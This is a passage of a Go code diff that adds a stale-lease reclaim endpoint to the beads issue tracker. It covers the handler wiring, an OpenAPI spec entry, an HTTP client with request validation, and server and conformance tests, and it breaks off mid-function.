!reflect.DeepEqual(calls[0].Filter.LabelsAny, []string{"a", " "}) { + t.Fatalf("role calls = %+v, want one carrying the blank entry unfiltered", calls) + } + }) + } +} + +// TestReclaimFieldMembersCoverEveryRoleField pins the attribution table +// against the role's whole field vocabulary, so a field added to the role +// cannot reach the wire with no member named. +func TestReclaimFieldMembersCoverEveryRoleField(t *testing.T) { + for _, field := range []string{ + issueops.ReclaimFieldActor, issueops.ReclaimFieldOlderThan, issueops.ReclaimFieldIDs, + issueops.ReclaimFieldAssignees, issueops.ReclaimFieldLabels, issueops.ReclaimFieldLabelsAny, + issueops.ReclaimFieldExcludeLabels, + } { + if reclaimFieldMembers[field] == "" { + t.Errorf("role field %q has no wire member", field) + } + } +} + +// TestReclaimIssuesRefusesTheFirstUnrepresentableGraceWindow pins the +// boundary: float64(MaxInt64)/1e9 converts back to 2^63 nanoseconds, which +// wraps negative, so that exact value is refused, not passed on. +func TestReclaimIssuesRefusesTheFirstUnrepresentableGraceWindow(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + value := strconv.FormatFloat(maxReclaimOlderThanSeconds, 'g', -1, 64) + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","older_than_seconds":`+value+`}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("older_than_seconds=%s: status = %d, want 400: %s", value, resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != "older_than_seconds" { + t.Errorf("param = %v, want older_than_seconds", body["param"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Fatalf("the role received %+v; an out-of-range window must not reach it", calls) + } +} + +// TestReclaimIssuesDoesNotDisguiseAStorageFailure pins that a failure that is +// not a validation is not answered as the caller's fault. +func TestReclaimIssuesDoesNotDisguiseAStorageFailure(t *testing.T) { + ts := newReclaimServer(t, &roleLeaseReclaimer{err: errors.New("disk on fire")}) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode < 500 { + t.Fatalf("status = %d, want a 5xx: %s", resp.StatusCode, readAll(t, resp)) + } +} diff --git a/internal/httpapi/roles_test.go b/internal/httpapi/roles_test.go index 083923e9c..6ada7952d 100644 --- a/internal/httpapi/roles_test.go +++ b/internal/httpapi/roles_test.go @@ -162,6 +162,34 @@ func (g *roleBatchGetter) getManyRequests() []issueops.GetManyRequest { return append([]issueops.GetManyRequest(nil), g.calls...) } +// roleLeaseReclaimer is the stale-lease sweep of the store-shaped source, its +// own fake beside roleReleaser for roleBatchGetter's reason: a separate role on +// a separate accessor, so one fake answering both would let a test pass on a +// server that had wired the reclaim handler to the wrong role. +type roleLeaseReclaimer struct { + result issueops.ReclaimResult + err error + + mu sync.Mutex + calls []issueops.ReclaimRequest +} + +func (l *roleLeaseReclaimer) Reclaim(_ context.Context, req issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + l.mu.Lock() + l.calls = append(l.calls, req) + l.mu.Unlock() + if l.err != nil { + return issueops.ReclaimResult{}, l.err + } + return l.result, nil +} + +func (l *roleLeaseReclaimer) reclaimRequests() []issueops.ReclaimRequest { + l.mu.Lock() + defer l.mu.Unlock() + return append([]issueops.ReclaimRequest(nil), l.calls...) +} + // roleRelations is the single-anchor NEIGHBOR role of the store-shaped source, // its own fake beside roleEdgeReader for roleGraphCounter's reason: the two sit // on adjacent accessors and answer about the same edges, so one fake serving @@ -960,6 +988,9 @@ func rolesConfig(cfg Config) Config { if cfg.BatchGetter == nil { cfg.BatchGetter = &roleBatchGetter{} } + if cfg.LeaseReclaimer == nil { + cfg.LeaseReclaimer = &roleLeaseReclaimer{} + } if cfg.Relations == nil { cfg.Relations = &roleRelations{} } diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 4c426275a..1dc78fa94 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -783,6 +783,17 @@ var routeTable = []route{ implemented: true, handler: (*Server).handleBatchGetIssues, }, + { + op: OpReclaimIssues, + method: http.MethodPost, + // A literal collection-level custom method, registered and preferred + // over the claim's wildcard for the sweep row's reason: without it, + // a reclaim would parse as a claim of an issue called ":reclaim". + pattern: "/v0/beads/issues:reclaim", + capability: "issues.reclaim", + implemented: true, + handler: (*Server).handleReclaimIssues, + }, { op: OpAddDependencies, method: http.MethodPost, diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index a3b928390..3a27b520a 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -287,6 +287,12 @@ type Config struct { // rather than refusing the call. Required on the same terms as every field // here. BatchGetter issueops.BatchGetter + // LeaseReclaimer is the stale-lease sweep behind + // POST /v0/beads/issues:reclaim. It is a SEPARATE field from Releaser for + // the reason issueops.LeaseReclaimer's own doc gives: Releaser gives up ONE + // claim on its holder's say-so, and this reverts MANY on a clock's. + // Required on the same terms as every field here. + LeaseReclaimer issueops.LeaseReclaimer // Relations is the single-anchor neighbor read behind // GET /v0/beads/issues/{id}/related. It is a SEPARATE field from EdgeReader // for the reason issueops.EdgeReader's own doc gives at length: that role @@ -423,6 +429,7 @@ type Server struct { issueEdges issueops.EdgeReader issueEdgeCounter issueops.GraphCounter issueBatchGetter issueops.BatchGetter + issueReclaimer issueops.LeaseReclaimer issueRelations issueops.Relations issueCommenter issueops.Commenter issueBlocking issueops.BlockingAnnotator @@ -635,6 +642,7 @@ func Listen(cfg Config) (*Server, error) { issueEdges: cfg.EdgeReader, issueEdgeCounter: cfg.GraphCounter, issueBatchGetter: cfg.BatchGetter, + issueReclaimer: cfg.LeaseReclaimer, issueRelations: cfg.Relations, issueCommenter: cfg.Commenter, issueBlocking: cfg.BlockingAnnotator, @@ -757,12 +765,12 @@ func Listen(cfg Config) (*Server, error) { // "all or nothing" would turn an honest condition into a special case inside // three functions. It is checked once, on its own, below. func sourceRoles(cfg Config) []any { - return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.BatchGetter, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} + return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.BatchGetter, cfg.LeaseReclaimer, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} } // roleSourceNames spells sourceRoles for the refusal message, in the same // order, so a caller reading the error learns the whole set it must pass. -const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, BatchGetter, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" +const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, BatchGetter, LeaseReclaimer, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" func anyRoleSet(cfg Config) bool { return slices.ContainsFunc(sourceRoles(cfg), func(r any) bool { return r != nil }) @@ -1151,6 +1159,19 @@ func (s *Server) batchGetter(r *http.Request) (issueops.BatchGetter, error) { return src.BatchGetter() } +// leaseReclaimer returns the stale-lease sweep surface for one request, on the +// same terms as every role above and held by INTERFACE so +// uow.LeaseReclaimerSource is load-bearing rather than decorative. It goes out +// unwrapped for the sweeper's reason: ReclaimResult is a VALUE whose slice a +// nil-safe range walks. +func (s *Server) leaseReclaimer(r *http.Request) (issueops.LeaseReclaimer, error) { + if s.provider == nil { + return s.issueReclaimer, nil + } + var src uow.LeaseReclaimerSource = timedProvider{inner: s.provider, rec: requestInfo(r.Context())} + return src.LeaseReclaimer() +} + // relations returns the single-anchor neighbor surface for one request, built // the same two ways as edgeReader above and held by INTERFACE so // uow.RelationsSource is load-bearing rather than decorative. diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 456693a41..0c087a175 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -63,7 +63,7 @@ info: outside its own parameter table with `400` / `code: invalid_argument` / `reason: "unknown_parameter"` and `param` naming the offending key. Operations that declare no QUERY parameter at all reject every query key - the same way. Today that is twenty-six of the forty-two operations + the same way. Today that is twenty-seven of the forty-three operations here — `GET /healthz`, `GET /v0/beads/context`, `GET /v0/beads/dependencies/cycles`, `POST /v0/beads/issues`, `PATCH /v0/beads/issues/{id}`, @@ -75,6 +75,7 @@ info: `POST /v0/beads/issues/{id}:casMetadata`, `POST /v0/beads/issues:sweep`, `POST /v0/beads/issues:delete`, `POST /v0/beads/issues:batchGet`, + `POST /v0/beads/issues:reclaim`, `POST /v0/beads/issues:batchCreate`, `POST /v0/beads/issues:batchApply`, `POST /v0/beads/issues:batchClose`, `GET /v0/beads/config`, @@ -3891,6 +3892,95 @@ paths: '503': $ref: '#/components/responses/Unavailable' + /v0/beads/issues:reclaim: + post: + operationId: reclaimIssues + summary: Revert stale leases back to ready + description: >- + Reverts every in-progress issue whose LEASE has gone stale back to + ready: the lease row is deleted, `status` becomes `open`, the assignee + and `started_at` are cleared, and a recovery event naming the former + holder is recorded. It is the operation behind `issueops.LeaseReclaimer` + and `bd reclaim`, and the caller it is for is a CLOCK — a supervisor + reaping the work of workers that died without releasing it — rather + than the worker that held the claim, which releases its own with + `POST /v0/beads/issues/{id}:release`. + + + A lease is stale when its expiry is more than `older_than_seconds` in + the past. A lease a worker is still heartbeating is never eligible, + whatever the request names. + + + ## Scope narrows, never widens + + + Every scope member narrows the sweep and they AND-combine: `ids`, + `assignees`, `labels` (all of them), `labels_any` (at least one) and + `exclude_labels` (none of them). A request with no scope member sweeps + every stale lease this server granted. `any_replica` is the one member + that WIDENS: it disarms the granting-replica guard, so a lease another + replica granted is reverted too. It is an operator escape hatch for a + replica that is gone for good, never a normal setting. + + + AN ID THAT IS NOT A STALE LEASE IS NOT AN ERROR. An id naming no row, or + a row whose lease is live, or a row nobody holds, is simply absent from + `reclaimed`; scoping by id narrows a sweep, it does not assert that + every named id was reclaimable. There is no `404` on this operation. + + + ## A new revision per reverted row + + + Every reverted row's `revision` is minted fresh by the revert, and each + entry of `reclaimed` carries it. A holder that wakes up after its lease + was reclaimed and writes with the revision its claim handed it gets + `412 precondition_failed`, so it cannot land over work another worker + may already have taken. + + + The whole sweep is ONE transaction. A lease a heartbeat rescues between + the snapshot that found it and its row's revert is skipped, not + reported. + + + Available when the server advertises the `issues.reclaim` capability. + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/ReclaimIssuesRequest' + security: + - bearerToken: [] + responses: + '200': + description: >- + The rows the sweep reverted, each with its former holder and its new + revision. An empty array (never null) when nothing was stale. + content: + application/json: + schema: + $ref: '#/components/schemas/ReclaimIssuesResult' + '400': + description: >- + Invalid request: an unparseable body, an unknown body member, a + missing or invalid `actor`, a negative or non-numeric + `older_than_seconds`, an `ids` carrying more than 1000 entries + (counted before deduplication), or a blank scope entry. + x-bd-codes: [invalid_argument] + content: + application/problem+json: + schema: + $ref: '#/components/schemas/Problem' + '401': + $ref: '#/components/responses/Unauthenticated' + '500': + $ref: '#/components/responses/InternalError' + '503': + $ref: '#/components/responses/Unavailable' + /v0/beads/issues:batchCreate: post: operationId: batchCreateIssues @@ -7930,7 +8020,7 @@ components: `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, - `issues.batchCreate`, + `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, @@ -8518,6 +8608,108 @@ components: items: type: string + ReclaimIssuesRequest: + type: object + additionalProperties: false + required: [actor] + description: >- + One sweep of stale leases. Every member but `actor` is optional, and + every scope member NARROWS the sweep; see the operation. + + + `additionalProperties: false`, so an unknown member is a `400` naming + the member — a narrowing term this server silently ignored would widen + what is reverted. + properties: + actor: + type: string + description: >- + Who ran the sweep. REQUIRED: each reverted row's recovery event and + history entry are attributed to it. Validated by the same rules as + the claim's `actor`. + older_than_seconds: + type: number + format: double + minimum: 0 + description: >- + The grace window past a lease's own expiry, in seconds (fractions + allowed): only a lease that expired more than this long ago is + eligible. Absent means `0`, every currently expired lease. A + negative value is refused. + ids: + type: array + maxItems: 1000 + description: >- + Only these issues are eligible. An id that is not currently a stale + lease is absent from the answer rather than refused. The cap is on + the REQUEST, counted before deduplication. A blank entry is + refused. + items: + type: string + assignees: + type: array + description: Only leases held by one of these owners are eligible. + items: + type: string + labels: + type: array + description: Only issues carrying ALL of these labels are eligible. + items: + type: string + labels_any: + type: array + description: Only issues carrying AT LEAST ONE of these labels are eligible. + items: + type: string + exclude_labels: + type: array + description: An issue carrying ANY of these labels is never eligible. + items: + type: string + any_replica: + type: boolean + description: >- + Also revert leases another replica granted. The one member that + WIDENS the sweep; see the operation. Absent means `false`. + + ReclaimIssuesResult: + type: object + required: [reclaimed] + description: >- + Every row the sweep reverted, in the order the sweep found them. + properties: + reclaimed: + type: array + description: >- + One entry per reverted row. Empty array (never null) when nothing + was stale in scope. + items: + $ref: '#/components/schemas/ReclaimedLease' + + ReclaimedLease: + type: object + description: One row a lease sweep reverted. + x-go-type: types.ReclaimedLease + x-go-type-import: + name: types + path: github.com/steveyegge/beads/internal/types + required: [id, previous_owner, revision] + properties: + id: + type: string + description: The reverted issue's id. + previous_owner: + type: string + description: >- + The assignee the stale lease was taken from; empty when the row + carried none. + revision: + type: string + description: >- + The row's NEW revision, minted by the revert: the + optimistic-concurrency token a guarded write after the reclaim + needs. A decimal string, like every `revision` on this surface. + SweepRequest: type: object additionalProperties: false diff --git a/internal/httpapi/spec_parity_test.go b/internal/httpapi/spec_parity_test.go index 3d9fb664d..3f7451ac1 100644 --- a/internal/httpapi/spec_parity_test.go +++ b/internal/httpapi/spec_parity_test.go @@ -420,11 +420,11 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { } } - // The id bound on the two request bodies that carry an `ids` list, for the - // anchor bound's reason: each is enforced in code — maxDeleteIDs in the - // delete handler, issueops.MaxGetManyIDs in the role behind batchGet — and - // restated as the member's maxItems, which is where a generated client - // learns it. Each body is reached through its operation's own $ref, so a + // The id bound on the three request bodies that carry an `ids` list, for + // the anchor bound's reason: each is enforced in code — maxDeleteIDs in the + // delete handler, issueops.MaxGetManyIDs in the role behind batchGet and + // issueops.MaxReclaimIDs in the role behind reclaim — and restated as the + // member's maxItems, which is where a generated client learns it. Each body is reached through its operation's own $ref, so a // row cannot go on checking a schema its operation stopped using. for _, tc := range []struct { opID string @@ -432,6 +432,7 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { }{ {OpBatchGetIssues, issueops.MaxGetManyIDs}, {OpDeleteIssues, maxDeleteIDs}, + {OpReclaimIssues, issueops.MaxReclaimIDs}, } { so, ok := ops[tc.opID] if !ok { diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 1bff0651a..a9c50dec3 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -3894,6 +3894,85 @@ "required": true, "item_type": "object" }, + { + "schema": "ReclaimIssuesRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ReclaimIssuesRequest", + "member": "any_replica", + "type": "boolean", + "required": false + }, + { + "schema": "ReclaimIssuesRequest", + "member": "assignees", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "exclude_labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "ids", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "labels_any", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "older_than_seconds", + "type": "number", + "format": "double", + "required": false + }, + { + "schema": "ReclaimIssuesResult", + "member": "reclaimed", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ReclaimedLease", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "ReclaimedLease", + "member": "previous_owner", + "type": "string", + "required": true + }, + { + "schema": "ReclaimedLease", + "member": "revision", + "type": "string", + "required": true + }, { "schema": "Ref", "member": "id", @@ -6125,6 +6204,14 @@ "QueryPage": "response", "ReadyCount": "response", "ReadyPage": "response", + "ReclaimIssuesRequest": "request", + "ReclaimIssuesRequest.assignees[]": "request", + "ReclaimIssuesRequest.exclude_labels[]": "request", + "ReclaimIssuesRequest.ids[]": "request", + "ReclaimIssuesRequest.labels[]": "request", + "ReclaimIssuesRequest.labels_any[]": "request", + "ReclaimIssuesResult": "response", + "ReclaimedLease": "response", "Ref": "request", "RelatedIssues": "response", "ReleaseIssueRequest": "request", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 8e8bc8be3..1f4e4a6ad 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -25,6 +25,7 @@ go_library( "dispatch.go", "errors.go", "journal.go", + "leasereclaimer.go", "lifecycle.go", "list_walk.go", "memories.go", @@ -135,6 +136,7 @@ go_test( "served_hooks_test.go", "served_issue_operations_test.go", "served_journal_test.go", + "served_lease_reclaimer_test.go", "served_lifecycle_create_test.go", "served_list_test.go", "served_memories_deps_test.go", diff --git a/internal/httpclient/accessors.go b/internal/httpclient/accessors.go index ee635ebd9..8a6298155 100644 --- a/internal/httpclient/accessors.go +++ b/internal/httpclient/accessors.go @@ -384,3 +384,12 @@ func (s *Store) BatchApplier() (issueops.BatchApplier, error) { func (s *Store) BatchGetter() (issueops.BatchGetter, error) { return &httpBatchGetter{store: s}, nil } + +// LeaseReclaimer serves reclaimIssues (POST /v0/beads/issues:reclaim) — the +// stale-lease sweep behind `bd reclaim`. Like BatchGetter it dials through the +// store directly rather than through roleWire: its request is one body with no +// path id, and Store.dispatch already preflights the capability and never +// retries a POST. See leasereclaimer.go. +func (s *Store) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return &httpLeaseReclaimer{store: s}, nil +} diff --git a/internal/httpclient/encode/oracle_test.go b/internal/httpclient/encode/oracle_test.go index d127a83c4..f65bb152a 100644 --- a/internal/httpclient/encode/oracle_test.go +++ b/internal/httpclient/encode/oracle_test.go @@ -71,6 +71,7 @@ func startOracle(t *testing.T) *oracle { EdgeReader: stubEdges{}, GraphCounter: stubGraphCounter{}, BatchGetter: stubBatchGetter{}, + LeaseReclaimer: stubLeaseReclaimer{}, Relations: stubRelations{}, Commenter: stubCommenter{}, BlockingAnnotator: stubBlocking{}, @@ -270,6 +271,7 @@ type ( stubEdges struct{ issueops.EdgeReader } stubGraphCounter struct{ issueops.GraphCounter } stubBatchGetter struct{ issueops.BatchGetter } + stubLeaseReclaimer struct{ issueops.LeaseReclaimer } stubRelations struct{ issueops.Relations } stubCommenter struct{ issueops.Commenter } stubBlocking struct{ issueops.BlockingAnnotator } diff --git a/internal/httpclient/leasereclaimer.go b/internal/httpclient/leasereclaimer.go new file mode 100644 index 000000000..5630fb351 --- /dev/null +++ b/internal/httpclient/leasereclaimer.go @@ -0,0 +1,135 @@ +package httpclient + +import ( + "context" + "net/http" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// httpLeaseReclaimer is issueops.LeaseReclaimer over reclaimIssues (POST +// /v0/beads/issues:reclaim). +// +// THE MAPPING IS TOTAL: every member of ReclaimRequest has a wire member, so +// nothing here refuses on shape and the ledger carries no row for this +// operation. The grace window travels as fractional seconds (a float64), which +// is exact for the whole-second and millisecond windows a reaper uses; a +// nanosecond-precise window may round. +// +// THE REQUEST RULES ARE CHECKED BEFORE THE DIAL, in the order +// internal/storage/issueops.ValidateReclaimRequest applies them, for +// checkGetManyIDs' reason: the server maps every role validation onto one +// generic invalid_value problem, so a round trip could never hand this client +// back the exact *issueops.TooManyReclaimIDsError{Requested, Cap} the role's +// contract promises. The rules are restated here rather than imported, because +// that package is the storage engine's shared body and does not belong in a +// transport client. +// +// AN EMPTY SCOPE SLICE IS NOT SENT. The server refuses a PRESENT, empty scope +// member (it would read as "no scope", the widening hazard bd reclaim refuses +// on the CLI), and on the role an empty slice and a nil one are the same +// request: no scope. Omitting it says exactly that. +type httpLeaseReclaimer struct{ store *Store } + +var _ issueops.LeaseReclaimer = (*httpLeaseReclaimer)(nil) + +// Reclaim dials POST /v0/beads/issues:reclaim. +func (l *httpLeaseReclaimer) Reclaim(ctx context.Context, req issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := validateReclaimRequest(req); err != nil { + return issueops.ReclaimResult{}, err + } + + body := apigen.ReclaimIssuesRequest{Actor: req.Actor} + if req.OlderThan > 0 { + seconds := req.OlderThan.Seconds() + body.OlderThanSeconds = &seconds + } + scope := func(values []string) *[]string { + if len(values) == 0 { + return nil + } + // COPIED, never aliased: the role promises never to write through a + // caller's request. + copied := append([]string(nil), values...) + return &copied + } + body.Ids = scope(req.Filter.IDs) + body.Assignees = scope(req.Filter.Assignees) + body.Labels = scope(req.Filter.Labels) + body.LabelsAny = scope(req.Filter.LabelsAny) + body.ExcludeLabels = scope(req.Filter.ExcludeLabels) + if req.Filter.AnyReplica { + anyReplica := true + body.AnyReplica = &anyReplica + } + + var out apigen.ReclaimIssuesResult + if err := l.store.dispatch(ctx, wire.Request{ + Op: wire.OpReclaimIssues, + Method: http.MethodPost, + Path: wire.PathIssuesReclaim, + Body: body, + }, &out); err != nil { + return issueops.ReclaimResult{}, err + } + + reclaimed := make([]issueops.ReclaimedLease, 0, len(out.Reclaimed)) + for _, entry := range out.Reclaimed { + // The revision is carried as the wire's decimal string, the role's own + // spelling; it is read here only to refuse an answer whose token no + // guarded write could use. + if _, err := parseRevision("LeaseReclaimer.Reclaim", entry.Revision); err != nil { + return issueops.ReclaimResult{}, err + } + reclaimed = append(reclaimed, entry) + } + return issueops.ReclaimResult{Reclaimed: reclaimed}, nil +} + +// validateReclaimRequest restates the role's refusals, in the role's order and +// with the role's types: the actor (present, then within its column once +// trimmed), the grace window, the id cap (counted as sent), the first blank +// id, then the first blank entry of the other scopes. +func validateReclaimRequest(req issueops.ReclaimRequest) error { + field := func(name, format string, args ...any) error { + return &issueops.ReclaimFieldError{Field: name, Detail: invalid(format, args...).Error()} + } + actor := strings.TrimSpace(req.Actor) + if actor == "" { + return field(issueops.ReclaimFieldActor, "reclaim actor is required") + } + if err := types.CheckFieldLen("actor", actor); err != nil { + return field(issueops.ReclaimFieldActor, "%v", err) + } + if req.OlderThan < 0 { + return field(issueops.ReclaimFieldOlderThan, "reclaim older_than must not be negative") + } + if len(req.Filter.IDs) > issueops.MaxReclaimIDs { + return &issueops.TooManyReclaimIDsError{Requested: len(req.Filter.IDs), Cap: issueops.MaxReclaimIDs} + } + for i, id := range req.Filter.IDs { + if id == "" { + return field(issueops.ReclaimFieldIDs, "reclaim scope id at position %d is empty", i) + } + } + for _, scope := range []struct { + name string + values []string + }{ + {issueops.ReclaimFieldAssignees, req.Filter.Assignees}, + {issueops.ReclaimFieldLabels, req.Filter.Labels}, + {issueops.ReclaimFieldLabelsAny, req.Filter.LabelsAny}, + {issueops.ReclaimFieldExcludeLabels, req.Filter.ExcludeLabels}, + } { + for i, v := range scope.values { + if strings.TrimSpace(v) == "" { + return field(scope.name, "reclaim %s entry at position %d is blank", scope.name, i) + } + } + } + return nil +} diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go index 917335a2a..8fe00ca67 100644 --- a/internal/httpclient/served_harness_test.go +++ b/internal/httpclient/served_harness_test.go @@ -297,6 +297,8 @@ func serveConfig(t *testing.T, s storage.DoltStorage) httpapi.Config { fail("Memories") cfg.BatchGetter, err = s.BatchGetter() fail("BatchGetter") + cfg.LeaseReclaimer, err = s.LeaseReclaimer() + fail("LeaseReclaimer") // THE JOURNAL IS NOT AN ACCESSOR, alone among the roles above: it is reached // by TYPE ASSERTION, because it is not on storage.DoltStorage and a backend diff --git a/internal/httpclient/served_lease_reclaimer_test.go b/internal/httpclient/served_lease_reclaimer_test.go new file mode 100644 index 000000000..8b23af9e9 --- /dev/null +++ b/internal/httpclient/served_lease_reclaimer_test.go @@ -0,0 +1,111 @@ +//go:build cgo + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// The LeaseReclaimer contract, run through the http client against a real bd +// serve. Nothing is parked: every member of ReclaimRequest has a wire member, +// and every refusal the role lists is raised before the dial in the role's own +// order (leasereclaimer.go). +// +// The claim that writes each lease goes over the wire too, through the client's +// Claimer; only the aging of a lease and the attaching of a label reach past +// the wire, into the embedded database behind the server, because no verb can +// make a lease stale on demand. +// +// THE HOOK CASE runs the reclaimer off a HookFiringStore wrapped around the +// client, the chain cmd/bd composes for a connected workspace: bd serve runs no +// hooks, so it is the CLIENT's decorator that owes one on_update per reverted +// row, re-reading each row over the wire to hand the script. +func newServedLeaseReclaimerFixture(t *testing.T, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + reclaimer, err := env.subject.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(env.subject, runner).LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + return conformance.LeaseReclaimerFixture{ + IssuePrefix: env.prefix, + LeaseReclaimer: reclaimer, + CreateIssue: env.createIssue, + Claimer: claimer, + Lifecycle: lifecycle, + Exec: env.exec, + QueryScalar: env.queryScalar, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} + +func TestServedLeaseReclaimerRevertsAStaleLease(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr00")) +} + +func TestServedLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr01")) +} + +func TestServedLeaseReclaimerLeavesALiveLeaseAlone(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr02")) +} + +func TestServedLeaseReclaimerHonorsTheGraceWindow(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr03")) +} + +func TestServedLeaseReclaimerScopesToTheNamedIDs(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr04")) +} + +func TestServedLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr05")) +} + +func TestServedLeaseReclaimerScopesToAssigneesAndLabels(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr06")) +} + +func TestServedLeaseReclaimerAttributesTheRecoveryEvent(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr07")) +} + +func TestServedLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr08")) +} + +func TestServedLeaseReclaimerRefusesAMalformedRequest(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr09")) +} + +func TestServedLeaseReclaimerRefusesABlankScopeEntry(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr12")) +} + +func TestServedLeaseReclaimerAcceptsExactlyTheCap(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr10")) +} + +func 